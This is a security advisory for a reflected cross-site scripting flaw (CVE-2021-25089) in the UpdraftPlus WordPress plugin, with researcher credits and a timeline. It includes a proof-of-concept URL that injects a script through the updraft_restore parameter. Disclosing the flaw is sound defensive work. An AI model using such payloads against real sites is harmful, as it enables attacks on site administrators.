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UpdraftPlus < 1.16.69 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the updraft_restore parameter before outputting it back in the Restore page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/options-general.php?page=updraftplus&job_id&updraft_restore%5B0%5D=%3Cscript%3Ealert%28/XSS/%29%3C%2Fscript%3E&action=updraft_restore&backup_timestamp=123&updraftplus_ajax_restore=start_ajax_restore 

Affects Plugins

updraftplus
Fixed in version 1.16.69

References

CVE
CVE-2021-25089

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified

Yes

WPVDB ID
5adb977e-f7bf-4d36-b625-87bc23d379c8

Timeline

Publicly Published

2021-12-28 (about 1 years ago)

Added

2021-12-28 (about 1 years ago)

Last Updated

2022-09-26 (about 4 months ago)

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